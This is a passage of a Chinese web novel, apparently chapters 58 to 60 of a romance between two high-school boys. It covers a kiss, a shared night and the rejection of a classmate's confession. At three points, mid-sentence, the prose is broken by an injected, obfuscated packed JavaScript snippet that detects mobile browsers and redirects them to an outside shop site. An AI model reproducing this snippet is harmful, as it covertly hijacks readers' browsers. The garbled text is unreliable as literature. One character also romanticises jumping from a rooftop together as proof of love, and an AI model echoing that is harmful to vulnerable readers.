“去好好跟过去道个别吧,”桑群抬手摸了摸他的脑袋,抚平他微翘的柔软发丝,“总要走出这一步,今天就是最好的日子。” 阮牧年问:“为什么是今天?” “我说的不是今天,”桑群告诉他,“是每一个今天。” 阮牧年看着他说:“……我害怕。” “做你自己,阮牧年,”桑群温柔地说,“坚定不移地走下去就好了。不要觉得你会是任何人的影子,也不要被你父母的阴影永远笼罩着……你就是你,我很早就说过,总会有人去爱你。” 阮牧年忍着鼻腔里的酸痛,抬起那双黑沉透亮的眼睛,像很久之前的那个夜晚一样问出声来:“包括你吗?” 而桑群的回答从未改变。 “包括我。” 厨房的顶灯投下两道近在咫尺的长影,窗外的北风仍在若有似无地呼啸,安静的空间里只有电饭锅发出工作的声响,但它们此刻都太遥远,太遥远。 唯一响亮的或许只有彼此的呼吸声,长久的凝视后,不知是谁先靠近,眼帘微垂,鼻息相扑,等反应过来后,唇瓣已然贴紧。 没有人去争夺主导权,也没有人去刻意加深这个吻,他们只是像从前拥抱在一起那样,彼此相贴,彼此纠缠,从对方的胸腔里听见自己的心动回响。 桑群轻轻按住阮牧年的后颈,从对方的唇边尝到了咸涩的味道。 他动作顿了顿,顺着那抹水痕,吻上阮牧年的眉眼,感受那总是轻轻颤动的眼皮。 阮牧年推了他一下,低声道:“咸的。” 桑群却说:“甜的。” 阮牧年别过脸去,刚被亲过的眼尾还泛着薄红,他盯着电饭锅道:“这里太热,我只是流汗了。” “嗯,”桑群依着他,“你没哭。” 当然没哭。 一整晚的情绪翻涌,只流下这几滴眼泪,怎么能算是哭了呢。 阮牧年拉着桑群陪他吃完饭,洗碗,把没喝完的醒酒汤收拾好,然后关掉那盏留在玄关的灯。 “桑群,”阮牧年说,“今晚陪我睡吧。” 桑群勾了勾他的鼻尖:“沙发我都收拾干净了。” 阮牧年瞪了他一眼:“陪我。” 这就恃宠而骄起来了?桑群捏住小金鱼的鼻子:“哦。” 阮牧年扯着他的衣服:“你自己说我可以随便提要求的。” 桑群跟着他进了卧室,想了半天没想起来:“我什么时候说过?” “需要陪就告诉你那句。” “嗯?”桑群无语地弹了一下他的脑门,“那句话是让你这样翻译的吗?” “我说是就是,”阮牧年理直气壮地滚进内侧,然后拍了拍旁边的枕头,“你睡这里,快躺过来。” 桑群刚沾上枕头,就被某只八爪章鱼缠住,一只急色的触手甚至顺着衣摆摸进来,贴在他腰侧。 “!” 他赶紧捉住这只手:“你干什么?” 阮牧年反手挣脱,又伸过来:“我要抱。” 抱?要不是胯上被另一只不安分的手玩弄裤腰松紧带搞得一会儿凉一会儿热的,他真会信了这家伙的鬼话。 扯掉这只手,那只缠上来;抓住两只手,脚又勾上来,在他小腿外侧磨蹭着。 “阮牧年,”桑群被他弄得额角青筋直跳,“你是不是找抽?” “不是,”阮牧年正在努力解放自己的双手,“还没人敢打我呢。” 桑群差点气笑了:“很遗憾?好。” 好什么,还没听懂对方的话,阮牧年就感觉自己的手腕被松开,桑群坐了起来。 真要打啊?阮牧年愣了一下,下意识摊开掌心紧闭上双眼。 等了几秒都没动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356336|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,他又偷偷睁开眼,就见桑群半边膝盖抵在床沿,正要重新爬上来,手里抄着家伙。 一根衣架。 桑群半跪在枕边,居高临下看着他,说:“转过去。” 阮牧年彻底慌了,伸手去抓对方持械的双手:“等等、等一下!不可以……” 桑群表情不似作假,冷酷无情:“转过去。” “你要骂我要揍我都可以!但绝对不能打屁股!”阮牧年哭嚎着进行最后抵抗。 几秒后。 阮牧年抱着枕头泪眼汪汪:“桑群,我讨厌你。” 桑群伸手过去帮他揉了揉:“我都没用力,疼吗。” 阮牧年控诉:“我的自尊心碎了!” “你扒我裤腰的时候怎么没想过自尊心,”桑群不再吓他,重新躺好,“不闹了,睡觉。” 阮牧年背过身去:“我不跟你抱了。” 等了几秒,也没见身后人过来哄他。 怎么回事,网不好吗?还是桑群没听见? 他偷偷转了半身往回看,桑群仰面躺着,已经闭上了眼。 睡着了? 他往对方身边挪了一下,桑群习惯性抬手,给他拢好被子,含糊道:“乖。” 阮牧年看他:“你睡着了吗?” “嗯,很困,”桑群闭着眼,这一天经历太多事情了,酒后的困倦渐渐涌上,“早点睡吧,晚安年年。” 阮牧年没跟他说晚安。 他只是静静地看着桑群睡着的侧颜,感受在身上轻拍的手逐渐停下,夜色静谧,身边人的呼吸也趋于平缓。 好半晌,他才悄悄伸出手,搭在了桑群的肚子上。 不能抱吗? 哪儿有这样的道理。他亲过桑群的嘴唇,贴过桑群的脖子,桑群的一切都是他的,摸一摸身子怎么了? 手指轻轻从纽扣边的缝隙里蹭进去,摸到桑群起伏的腹肌上。 还不够。 另一只手从侧腰垂落的衣摆间钻进去,先是一点点触碰肌肤,然后才把掌心贴上去。 阮牧年紧张地盯着桑群的脸,对方睡得很沉,似乎并没有受他小动作的影响。 太好了。 动作开始变得肆无忌惮,流连完腰腹,阮牧年又悄悄伸出小腿,从轻触到紧贴,最后几乎压了半边身子在桑群身上。 白日里忙着过方案书和跟负责人交谈,晚上又集中精神参加酒局应付各种问题,回来后还要照顾不省心的孩子,桑群累得连噩梦都没空做,道完晚安就直接意识模糊了。 一夜无梦倒也挺好的,至少睡眠质量保证了。 就是总觉得身上不太舒服。 难道是在做梦吗? 感觉身体重重的,有点像鬼压床。 睡眠一会儿深一会儿浅,唯一不变的是那诡异的重压感,半边身子都快麻了。 哪儿来的鬼? 桑群彻底醒了,但懒得睁眼,心里郁闷地想,房东也没说过这屋子闹鬼啊。 算了,等一会儿这家伙自己就跑了吧。 桑群等了等,没等到鬼跑,等到唇边忽然被什么微凉的柔软碰了碰。 他忍无可忍,一巴掌把身上的家伙呼下去。 鬼压床的鬼怎么是色鬼? 身边的床垫弹了一下,紧接着一道微弱的吸气声响起。 桑群睁开眼,隐约看见一个身影半蜷在他旁边嘶嘶低叫。 “阮牧年?”他试探地问,“你在干什么?” 阮牧年捂着脸扭过来:“你干嘛打我。” 桑群反应了一下:“……你趴我身上干什么?” 原来还真是色鬼,小恶魔。 阮牧年顿时低下声音:“……没干嘛。” 桑群伸手搂过他的脖子,把人拢在身前:“睡不着?” “嗯,”阮牧年在他手心里蹭了蹭,“不困。” “已经很晚了,明天可不是周末,”桑群拍着他轻声道,“还要早起呢。” 阮牧年撇嘴:“我就是睡不着。” 不知道是在害怕什么,是怕闭上眼就陷入漫无边际的黑暗,还是怕无知无觉中就被剥夺走一切温暖与呼吸? 他说不清。 桑群摸了摸他,说:“转过去。” 阮牧年下意识捂住自己的屁股:“你、你想干嘛。” 桑群无奈:“哄你睡觉。” 阮牧年翻过身去,后背贴上来另一个温暖的胸膛。他们很少这样拥抱,因为阮牧年不习惯看不见桑群的脸。 但桑群偏偏采取了这样的姿势,闭上眼谁的脸也看不见,唯有后背的温度是真实的。 桑群轻声对他说:“手张开。” 阮牧年摊开右手手掌,桑群的胳膊从颈侧伸过来,搭在他手腕上。 他伸出一根手指,在阮牧年的掌心一圈一圈地划拉着,然后在他耳后低声:“闭眼。” 阮牧年闭上眼:“你要给我唱摇篮曲吗?” “是催眠曲。”桑群说。 被人从后面抱在怀里,掌心里是轻柔规律的画圈触感,耳边响起桑群低沉好听的轻哼。 本来是不困的,第三扇门洞开,他借着夜色遮掩对桑群上下其手。 可现在,好像真的有些困了。 人不自觉地放松下来,那些害怕的怒吼、哭喊和窒息感却没有卷土而来,他渐渐沉浸入桑群为他编织的月亮桥,随着曲调在水波里漂浮摇荡。 摇啊摇,摇到月亮桥。 树上鸟儿叫,地上牛吃草。 大雨冲不掉,大风刮不跑。 弯弯小石桥,船儿慢慢摇。 宝宝轻轻笑,乖乖睡觉觉。 59. 59 第二天,阮牧年在班级里各方打听了一圈,才放下心来。 还好,假请了,作业没有落下,早读要求背诵的篇目他也已经背过了,昨晚浪费的时间在可控范围内。 反观同桌,就有些惨了。 刘嘉:“六爷,数学作业下节课要收,从你开始传给我啊。” 桑群:“什么。” 学委:“桑群同学,这周的课堂笔记就差你没交了。” 桑群:“……哦。” 班长:“六爷,政治老师叫你课间去一趟办公室。” 桑群:“知道了。” 被各种课代表轮番找了一遍,讲台上开始上课,粉笔在黑板上叩叩作响,眼皮也是越来越沉重。 手肘被人轻推了一下,旁边递过来一张纸条。 【坚持住,实在听不下去就补一下这几天的课堂笔记吧】 纸条下垫着好几本笔记本。 桑群:“……” 他想睡觉。 从第一节下课开始,困恹恹的某人就开始了请假之后的疯狂赶作业模式。 数学作业。 课堂笔记。 政治提纲。 物理小测。 英语抄写。 …… 最后一笔落下,书页啪地合上,小组长收走了作业,转了一上午的无情作业机器终于熄火,桑群哐当栽倒在桌面上。 困死了。 被某个色鬼吵醒,还要哄他睡觉,结果自己没了困意,熬了好一会儿才入眠。 深度睡眠了十几分钟,梦境开始潜入意识。 梦里的场景有些模糊,触感却过分真实。 手心里的温热,脸上的微痒,耳尖的发烫,以及唇边那一点濡湿的软。 这是在干什么呢? 不知道,分辨不清了,只觉得非常舒服,也非常愉悦。 就是脖子有点疼。 嗯? 他后知后觉谁的手正搭在他后颈上,肩膀被摇得左右晃动。 挣扎了好一会儿,他才从桌上撑起来,掀起一边眼皮没好气地看向扰人清梦的罪魁祸首:“有事?” “人都走光了,”阮牧年看着他,“你别睡到下午上课啊。” 桑群扫了一眼教室,空荡荡的,已经放学十分钟了。 “你怎么没走?”桑群问。 “我……待会儿要去凉亭一下。”阮牧年说。 桑群反应了一下,去凉亭干什么,哦,好像是要去跟人家解释。 果然,阮牧年下一秒就说:“我不想去。” 桑群叹了口气,靠在椅背上,半阖着眼:“要去。好好说话。” 阮牧年问他:“非去不可吗。” 桑群看了他一眼。 不安的表情很明显。 他对阮牧年伸出手:“手。” “嗯?” 虽然不知道他什么意思,阮牧年还是把自己的手搭在桑群掌心上。 桑群摆正他的手背,另一只手竖起大拇指,在他中指骨节正上方不轻不重地印了一下。 “去吧,”桑群松开手,“带好你的勋章。” 阮牧年看着他张了张嘴:“……嗯。” 桑群的眼角还带着困倦,背光的角度看过来,眸里的反光却格外明亮。 好像也没那么抗拒了。 阮牧年盯着自己的手背发呆。 上面什么也没有,但他知道桑群给他盖了勇气之章。 是桑群特有的奖励方式。 在幼儿园的某段时间,桑群特别热衷于奖励他,一高兴就喜欢在他身上各种地方留下亲亲。 今天亲亲额头,明天亲亲手背,诸如此类。 甚至有小朋友来问:“桑群,阮不年是你的小媳妇吗?” 阮牧年羞愧至极,红着脸不许桑群再亲。 桑群非常苦恼:“可是我没有小红花,我真的只是想要夸你。” “反正就是不可以这样,会被别人误会的。” 桑群想了好久,终于想出一个办法。他见过大人们用红色的印泥盖章,也可以充当小红花。 那就用大拇指盖吧,印泥去哪里找? 看了一圈,他想起自己的嘴唇就是红色的呀,于是在嘴上按了按,轻轻舔了一下指腹,然后啪叽盖在阮牧年手背上。 盖章湿湿的,却没有颜色。 阮牧年问他印章怎么消失了,他绞尽脑汁地给自己挽尊:“呃……因为年年不喜欢太招摇,所以印章就先隐形了。等你答应做小媳妇,它才会出现。” 年年呆了呆,气鼓鼓道:“我才不答应呢!隐形就隐形,哼。” 盖章虽然看不见,却是桑群支撑他面对一切的象征。 阮牧年深吸一口气,抬眼看过去。 凉亭外,程抒晴已经到了。 他走过去,有些生硬地招呼:“……中午好。” 程抒晴回头笑了笑:“拖堂了吗?还以为你不来了呢。” 阮牧年:“没……一些事耽误了一下。” 其实是不想来。 “嗯……那你,考虑得怎么样了?”程抒晴挽了挽额边的碎发。 阮牧年没说话。 明明昨晚已经打好了腹稿,要委婉得体,先肯定对方的优点,适时放低自己的位置,然后为自己的拒绝给出一二三理由…… 长篇大论到了嘴边,出口却被精简成短短一句话:“我……抱歉。” 程抒晴眨了眨眼:“倒不是很意外呢……我能听听理由吗?” 阮牧年抿了抿唇:“如果你不说的话,我其实……完全没有考虑过这方面的事情,所以……嗯。” “啊,可以理解的,”程抒晴点了点头,脸上虽然笑着,抓着袖口的手指却一直胡乱按捏着,“毕竟学习为重嘛。我原本也没抱太大希望……嗯,牧年,那如果不是现在呢?” 阮牧年没听懂:“嗯?” “你只是没有考虑过。现在不合适的话,”程抒晴问,“毕业以后,我可以追你吗?” 阮牧年一愣:“什么?” 程抒晴说:“现在说确实有些早了,不过我觉得……” 后面的话语逐渐听不清了,阮牧年站在原地,思绪又开始混乱。 你只是没考虑过。 你只是一直在躲避。 你其实知道自己会怎么做。 你知道自己总会接受某个人的喜欢。 程抒晴说得对,不是现在,也会是以后。 只要有那个可能存在,记忆中的结局也一定会在未来等你。 你…… 不对、不对。 不能这样想。 “不要觉得你会是任何人的影子,也不要被你父母的阴影永远笼罩着…… “年年,总会有人去爱你。 “包括我。” 结局是可以改变的、可以改变的、可以改变的。 有人站在更加明亮的未来,等他踏过荆棘走去。 手背上的印章微微发烫,日光有些晃眼,阮牧年抬起眼,听见自己格外冷静坚定的声音。 “不好意思,”他说,“我应该还是不会答应。” 程抒晴一怔:“为什么?” 阮牧年刚想说话,余光瞥见了什么,顿时止住了话头。 假山后,某个熟悉的身影慢慢接近。 阮牧年发怔。 不是说让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356337|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独自面对吗,怎么没在教室补觉? 然而桑群压根没看他,目不斜视地从小路上经过。 阮牧年连忙喊他一声:“桑群。” 桑群脚步顿了顿,似乎才发现这边有两个大活人。 程抒晴跟他打了声招呼:“六爷,你也还没回去啊。” 桑群颔首。 阮牧年问:“你去干嘛?” “买水。”桑群淡淡地说。 “给我们也带一瓶吧。”阮牧年说。 桑群看了他一眼,没搭理他,转身就走。 程抒晴奇怪地看向阮牧年:“这样使唤他不好吧。” 阮牧年:“没事。” 本来喉口还有些许反胃感,看见桑群的刹那,整个人都安心了下来。 忍不住跟他搭话,希望他能待得更久些,哪怕是胡搅蛮缠。 程抒晴喊他回神:“牧年?” 阮牧年:“嗯,怎么了?” 程抒晴:“你还没回答我的问题。” 阮牧年想了想:“为什么不答应吗……因为,我一点也不喜欢你。” 程抒晴脸上的表情难堪了一瞬,随即很快勉强笑了笑:“啊,这样嘛。但以后的事也说不准吧,我觉得我们相处得还行啊,真的不考虑试试……” 阮牧年却打断了她:“你为什么会喜欢我呢?” 程抒晴停顿了一下:“喜欢这种事……很难说清的呀。” 阮牧年:“总会有某个理由,或者心动的瞬间吧?” 程抒晴想了想:“一定要说的话,你的性格、做事态度都很好啊,相处起来也很舒服,喜欢你才是人之常情吧。” 阮牧年:“除此之外呢?” 程抒晴:“想跟你见面、聊天,期待变得更加亲近,看不见的时候会想念……这些算吗?” 阮牧年却摇了摇头:“可我觉得你不够喜欢我。” 程抒晴一愣:“什么?” 阮牧年上前一步,树影落在他的眉眼处,垂下睫毛的瞳孔被遮去反光,眼底宛若漆黑深潭。 他低声问:“如果有一天我从楼顶跳下去,你会愿意陪我去死吗?” 程抒晴瞳孔骤缩:“你说什么?” 阮牧年定定地看着她,神色不似玩笑。 “你不会的,”他轻声说,“你只是对阮牧年有好感而已,就算后面在一起了,我对你而言只是恋人。你也许会难过,也许会遗憾,但人总归是自私的,为此搭上性命是不明智的选择。” 程抒晴震惊地看着他,不敢相信这种话会从一个十八岁的高中生口中说出来。 好半晌她才呢喃开口:“难道你有愿意为之而死的人吗?” 阮牧年看着她,笑了。 “有。” 甜言蜜语终究只是浅薄感情的金玉其表,不够深重的爱情抵挡不住漫长人生中的洪流,他亲眼见证过它们毁灭的结局。 阮牧年是无法忍受孤独的人。 只有沉重的感情可以拖住他,只有长久的岁月可以拥抱他,只有无处不在的参与感可以让他安心。 能做到这些的只有一个人。 他不知道这种依赖算不算喜欢,他的信任混杂了太多感情,朋友、兄弟、家人,到如今已经无法一个个分辨。 相识相知、逐步靠近的喜欢只会让他不安,他清楚自己的爱情观本就扭曲,只有无止尽的宠爱才能知足。 还以为永远也走不出这一步,可能要一辈子在阴影里环抱着羽翼哭泣。 想通也是一瞬间的事情。 当年桑群站在学校顶楼的栏杆边时,他脑海里只有一个念头。 如果抓不住桑群。 他也会跟着一起跳下去。 60. 60 气氛变得沉重起来,两人有一阵没说话。 程抒晴轻声问:“所以你其实……有喜欢的人了?” 阮牧年默了一下:“我不知道。” “你都可以做到……那什么,”程抒晴不解,“还不算喜欢吗?” 阮牧年低下头:“我也是这两天才想明白的。” 程抒晴看上去有些难以接受,自己的表白居然给别人做了嫁衣。 两厢无言,旁边传来脚步声。 桑群拎着两瓶饮料走过来。 看了看神色各异的两人,他问:“谈完了?” 阮牧年不满地看向他手里的饮料:“怎么只有两瓶。” 程抒晴回过神:“啊,我可以不用……” 桑群直接把一瓶果茶递过去:“你的。” “呃,谢谢六爷。” 阮牧年:“我的呢?” 桑群拧开瓶盖喝了一口,才看向他:“没有你的。” 阮牧年撇嘴:“怎么可以这样。” 汽水刺激神经,让桑群没那么困了,见阮牧年瘪气,另一只手愉悦地抓着瓶盖像抛硬币一样弹了一下。 瓶盖翻转上升,在半空中被另一只手捉住。 桑群皱眉:“还我。” 阮牧年重申:“我渴了。” “啧,”桑群把汽水塞过去,“爱喝不喝。” 阮牧年抱着瓶子轻哼。 对面啜着果茶的程抒晴叹为观止,方才还一脸深沉的阮牧年居然瞬间就变成了小孩。 桑群:“还有5分钟午禁,不走吗?” “啊?”阮牧年这才想起午饭还没做呢,看向程抒晴,“那我……” “快回家吧,我也要回教室午休了,”程抒晴点头,“拜拜。” 阮牧年朝着校门的方向走了,程抒晴也准备转身,却听一旁的桑群出声:“留步。” 她看过去:“嗯?” 桑群微微颔首,言语谦逊:“贸然打扰,有些事想跟你谈谈,可以吗?” 程抒晴一头雾水:“什么事啊?” “下午放学后在操场见面吧。” 六爷是年段里出了名的高冷难近,自己又与他不熟,有什么话还需要单独面谈? 程抒晴疑惑了一下午,往操场看台走去的时候,远远便见到等在那里的六爷。 她连忙加快步子:“这才下课三分钟,你来得好早啊。” 桑群站起来,侧身对她点头:“碰巧下课早。” 程抒晴站到他旁边:“我们是要聊些什么?” “坐,”桑群侧摊掌心,见她坐好自己才跟着坐下,“随便聊聊。” 他从身后掏出两罐饮料,递过去一罐。 中午刚蹭过对方的饮料,程抒晴不太好意思:“不用不用,真的不用……” “中午那是赔罪的,”桑群说,“这是谢礼,听说你喜欢这个口味。” 程抒晴只好接过来:“谢谢啊,赔罪和谢礼什么的……是怎么回事啊?” “那时看你们聊得不是很愉快,”桑群道,“如果阮牧年有什么冒犯你的言语或者举动,我替他向你道个歉。” “你为什么能替他道歉?” 桑群没回答这个问题,说起了另一件事:“你是很勇敢的人,阮牧年一向擅长摆脱跟别人的暧昧关系,这些年来只有你能当着他的面表白,很厉害。” “只有我?喜欢他的人应该很多吧。” 桑群摇头:“大多数人的目的过于明显,所以他从一开始就不会跟他们深交。但你不一样,他真的将你当做朋友。” 程抒晴苦笑一声:“朋友也只是朋友啊。” 桑群拇指一勾,撬开拉环,罐口响起滋滋声。他一条胳膊搭在膝盖上,看着不远处逐渐吵闹起来的操场,嗓音平缓温和。 “他很少交朋友。别看跟谁都聊得来,其实背地里很孤独。” 程抒晴也开了饮料,看了他一眼:“你的语气很熟稔啊,连你也不算他的朋友吗?” 桑群依然避而不谈,只是继续道:“三年级的时候,阮牧年第一次收到女孩子的情书,那个女孩平时跟他玩得还不错,但我亲眼看见他把那个粉色的信封扔进了路边的垃圾桶。” 程抒晴顿时共情了,默默喝了口饮料。 “我问他为什么要这样做,很没礼貌,”桑群慢慢回忆道,“他说他讨厌被人喜欢,只有足够直接才能拒绝掉别人,因为……” 桑群顿了顿才接下去:“因为爸爸就是这样扔掉妈妈准备的玫瑰花的。” “他爸妈……?” “离婚了,在他还没上幼儿园的时候,”桑群拿起罐子喝了一口,“我不知道他为什么能记得那么早的事情,但他的记忆力确实很好,父母吵架的细节、离开他时的情景,全都记得很清楚。” 程抒晴试图理解:“所以他是……独身主义?” “倒不如说是悲观主义,”桑群纠正她,“他无法忍受孤独——那么渴望爱的一个人——可惜越想要越害怕,伸手的同时总是后退,被父母带来的阴影困在各种纠结与恐惧中,最后只会逃避,从一开始就拒绝任何人的靠近,好像就可以不用害怕了。” 操场边有几片没扫干净的枯叶,被风吹起,滚落到看台下。 课后的热闹骤起又渐渐散去,同学们三三两两离开,看台上只余零星两道身影。 桑群的语调依然平静和缓,他没有一直看着程抒晴,还给了对方必要时候可以缓解尴尬的饮料罐。 大部分时间都是他在开口,氛围很松弛,正如他所说,只是随便聊聊。 “所以我才要谢谢你,”他望着操场的目光终于收回,神情认真地看向程抒晴,“是你让他走出了多年的阴影。” 程抒晴有些没明白:“可我还是被拒绝了啊,就像他扔掉那个女孩的情书一样。” “不一样的,”桑群微垂眉睫,“虽然不知道你们具体说了什么,但他拒绝你的理由,应该不是讨厌被人喜欢吧?” 程抒晴微怔:“……确实不是。” 阮牧年说,她还不够喜欢他。 他不是因为讨厌被人喜欢而拒绝自己的,他是因为发现了另外一份更加深厚也更加沉重的喜欢,才拒绝自己的。 “这说明他已经认识到,不是所有的喜欢都是悲剧,不是所有的感情只有破裂的结局,”桑群说,“他人的喜欢不是毒药,而是对自己的赞许与肯定,是需要认真考虑和回应的社交关系。” 程抒晴支着侧脸无言片刻,自嘲地笑了笑:“如你所说,他真是毫不客气呢,直接就说一点也不喜欢我。” “抱歉,他确实没什么绅士教养,”桑群无奈地给熊孩子收拾烂摊,“你气不过的话,明天也请你喝饮料?” “诶?这个真的不用了!真的,我减肥呢,”程抒晴连忙婉拒,喝不动了真的,中午那瓶还没见底呢,她赶紧转移话题,“所以你到底为什么要替他道歉啊,你们究竟是什么关系?” 桑群轻晃着易拉罐,水面微荡,他没有第一时间回答。 就在程抒晴以为他又要岔开这个话题的时候,神色淡淡的少年忽然开口。 “其实我们没什么关系,朋友、兄弟,都不是。非要说的话,应该是没有血缘关系的家人,从小到大。” 程抒晴有些惊讶:“从小到大?” “嗯,”桑群点头,唇边浮现一丝浅淡的笑意,“十几年了。” 难怪六爷对阮牧年小时候的事情如数家珍,程抒晴有些羡慕:“那你们不就是青梅竹马……呃,竹马竹马?比我想得还要亲密啊。” 桑群疑惑:“你想的什么?” 程抒晴顿时被自己的口水呛到了,住脑啊晴天,现在是想同人文设定的时候吗? “没、没什么,还以为你们是初中同学之类的,”程抒晴清了清嗓子,“毕竟六爷你以前也是二中的吧。” 桑群却沉默了一下,说好闲聊的,他也就顺着说下去:“他本来不该来二中。” “嗯?” “二中的高中部才建立多久,以阮牧年的成绩,去南中念书毫无悬念,”桑群灌了好几口才继续说,“他只是因为……我分数太差了,才选择过来拼重点班的。” “啊,你们约定要念同一所高中嘛?” “什么,谁跟他约定了,”桑群微微皱眉,“他就是一个喜欢自作主张的家伙。” “呃。” 很少听人说阮牧年不好,虽然桑群也没有骂人,但从这种角度认识阮牧年还挺新奇。 “前面不是说,他不怎么交朋友么,”桑群转着罐身,“实际上那个时候,接近他的女孩子基本都有别的心思,而男孩子……不讨厌我的男生很少。他总是有些莫名其妙的责任心,想要在我身边远远看着。” “为什么说不讨厌你的人很少?你也不是什么恶劣的人啊。” “因为小学的时候,我父亲挪用公款导致公司项目失败,连累我家在内的好几个家庭破产,其中也有我们的同班同学,”桑群闷嗤一声,“当然会讨厌我了。” 程抒晴皱眉:“又不是你做错了,怎么还搞父债子偿这一套啊。” “小学生哪里懂得什么是非对错,”桑群垂眼,“迁怒是正常的。” 程抒晴看了看手里的饮料,忽然觉得有些烫手:“那你……” 桑群轻笑:“这些年好多了,我也不至于一瓶饮料都掏不出钱。” “所以我那天看到的申请书居然不是假的吗,我还在想三班哪儿来的贫困生……”程抒晴低声嘀咕着。 “嗯?”声音太小,桑群没听见她在说什么。 “啊我自言自语呢,”程抒晴连忙喝一口饮料压压惊,“也就是说牧年是因为担心你被人仇视,于是一直跟你报的同一所学校?” 桑群低哼:“他也只有在这种时候才像个哥哥,平时就是一小孩。” “天呐,我一直觉得他挺靠谱一人。” “装的,如果你喜欢他这一点就尽早脱身,”桑群抹黑阮牧年就跟呼吸一样简单,“这家伙掉过的眼泪比我吃过的饭都多。” 程抒晴不住惊讶,忽然反应过来:“听你这么说,我怎么感觉六爷你更像哥哥啊……嘶,之前牧年说他跟他哥住一起,不会就是你吧?” 桑群点头,纳闷:“你不是早就知道了吗?” 程抒晴忽然有种知道得太多容易被人灭口的危机感:“我以为那只是你的住处。” “我干嘛要给做客的人准备专属拖鞋,”桑群无语,“你打电话的时候再往前走两步就会被他的校服刮到头发,又皱又丑的那件,一点也不难猜。” 程抒晴捂眼:“我哪好意思看你家阳台嘛。” 看到家务限定版的围裙六爷都已经是惊喜了。 “反正他是个禁不住相处的人,”桑群不遗余力地吐槽,“越靠近越烦。除了学习和做饭,没一样会的,如果今天他做晚饭,端菜洗碗什么的都是别人的活,懒人是绝对不会辛苦自己的。” 程抒晴听着觉得好笑:“哎,总是听别人说校园男神的传闻,听你讲的这些……糗事,反而很真实,很有趣啊。” 桑群:“难道你越听越喜欢?” “没,”程抒晴摇头,轻声道,“其实我也想了一下午,牧年中午说的那些话……害,怎么想我都做不到嘛。” 本来也做好了被拒绝的准备,她并不气馁,毕竟不是所有人都能接受早恋的。 只是她没想到,对于阮牧年而言,喜欢竟意味着那样的事情。虽说觉得哪里怪怪的,但仔细一想,自己的喜欢好像确实比较廉价。 “也许大家的想法都不一样吧,我只是想和喜欢的男生约约会、牵牵手而已,”程抒晴低声说,“真要像牧年说的那样……可能我就是自私吧。” 桑群皱眉:“他说了什么?” “没什么,”程抒晴没多说,只道,“不过我觉得他应该有喜欢的人了,就是不肯承认而已。” 桑群:“是么。” 他将罐里的汽水一饮而尽,铁沿离口时唇角轻挑。 桑群侧目逆着夕阳看过来,流畅的侧脸轮廓镀上一层金边。 “他还没答复我的表白呢,怎么能让别人趁虚而入。” 程抒晴愣在原地,还没消化完他这句话,坐在身边的人就已经起身。 “算算时间,家里的饭差不多该做好了,”桑群右手拎着罐子,垂眸对程抒晴颔首,“说起来,我已经很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356338|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没跟别人正常聊过天了,希望没有让你不愉快。不是客套,是真的谢谢。” 程抒晴抬眼,站在面前的淡然少年冲她举了一下罐子,做了个隔空碰杯的动作。 她不是第一次见对方笑,只是方才那个笑容格外的不同。 说不上来的感觉,总之就是跟桑群很不搭。 “周末快乐,”桑群跟她作别,“回见。” 程抒晴一个人在原地坐了好久,才背起书包走出校门,找了个僻静隐蔽的角落。 周围没人,她偷偷摸出手机,脸上还有些发烫。 消息页面的置顶是一个叫做“晴空万里”的5人群聊。 【[群主]小晴天:姐妹们,一个好消息和一个坏消息】 【[群主]小晴天:男神还是拒绝了我[难过哭哭]】 【[管理员]将将将璋:什么?居然看不上我们晴天,你别难过,肯定是他眼神不好!】 【[管理员]开门我是班长:群嘲还是挂墙上还是献策追人?你一句话的事】 【[群主]小晴天:但是!】 【[群主]小晴天:但是!!】 【[群主]小晴天:但是!!!】 【[群主]小晴天:但是我的天啊我不行了我知道这很难让人接受我也接受了好久但是我还是忍不住想说出来毕竟大家都是好姐妹我可以追不到阮牧年但我磕的cp好像是真的怎么办啊我天我也没捡到彩票啊】 【[管理员]将将将璋:?】 【[管理员]开门我是班长:?】 【[管理员]家产锁死谢谢:?】 【[管理员]你说得都对:?】 【[群主]小晴天:我不行了不能我一个人受到冲击,姐妹们!】 【[群主]小晴天:SNS是真的啊啊啊啊啊啊】 【[管理员]将将将璋:我靠是真的?】 【[管理员]开门我是班长:我靠是真的?】 【[管理员]家产锁死谢谢:我靠是真的?】 【[管理员]你说得都对:我靠是真的?】 …… 在群里跟好姐妹们鬼哭狼嚎了一阵,程抒晴终于缓下情绪,从那种不真实感中脱离出来。 不论如何,仅凭六爷和牧年多年的关系,以及牧年中午说的那句话,她虽然难免失落沮丧,但已经有所释怀。 不由看向那天逃亡的巷口,有人家的饭香味飘了出来,或许正有属于那两个少年的一份。 这个年纪的同居生活……初听六爷讲起,还以为他满腔抱怨,现在想想更像是幸福的牢骚。 